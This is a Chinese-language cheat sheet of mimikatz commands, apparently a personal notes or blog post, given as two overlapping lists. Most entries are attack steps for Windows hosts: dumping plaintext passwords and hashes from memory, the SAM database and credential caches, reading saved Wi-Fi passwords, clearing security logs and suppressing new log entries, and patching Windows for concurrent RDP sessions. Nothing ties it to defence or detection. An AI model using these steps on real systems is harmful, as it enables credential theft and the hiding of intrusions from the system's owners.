mimkatz 用法

mimikatz用法

privilege::debug  　　　　   进入debug模式

sekurlsa::logonPasswords　查看所有用户密码

sekurlsa::wdigest　　　　　读取当前登录用户

process::list   　　　　　　   查看进程

process::suspend /pid:5576  暂停5576（计算器程序）

process::resume /pid:5576    恢复5576（计算器程序）

event::drop　　　　　　　　后面的操作不再产生日志

event::clear　　 　　　　　  清除所有日志

misc::cmd　　　　　　　　打开CMD

misc::regedit　　　　   　　打开regedit

misc::taskmgr　　　　 　　打开任务管理器

默认windows桌面只能一个用户使用，如果使用远程桌面就会被挤掉

但是mimikatz可以打一个补丁，使得多人可以同时在线

ts::multirdp 　　　　   　　打补丁开启多人远程桌面

minesweeper::infos　　　扫雷开挂

参考网址：http://wy.hx99.net/searchdrops.php?q=mimi

privilege::debug 提权为system debug权限
sekurlsa::logonPasswords 列出当前登录的用户明文密码，包含wdigest kerberos
sekurlsa::kerberos 读取域下的用户会话明文密码
sekurlsa::wdigest 读取本地用户会话的明文密码
process::list 列出当前系统的所以进程
process::start cmd.exe 启动进程
process::stop /pid:2844 关闭进程
process::suspend /pid:2768 暂停进程
process::resume /pid:2768 恢复进程
service::list 列出服务
lsadump::sam 获取sam文件的hash值
lsadump::cache 获取缓存内容
ts::session 查看现有的登录会话
ts::multirdp 远程桌面单用户多会话补丁
event::clear 清除安全日志
event::drop 后面的操作不再产生新的日志
minesweeper::infos 扫雷透视
misc::cmd 打开cmd
misc::regedit 打开注册表
misc::taskmgr 任务管理器
misc::wifi 查看所有以保存的wifi密码
token::list 列出windows票据
token::whoami 列出当前会话票据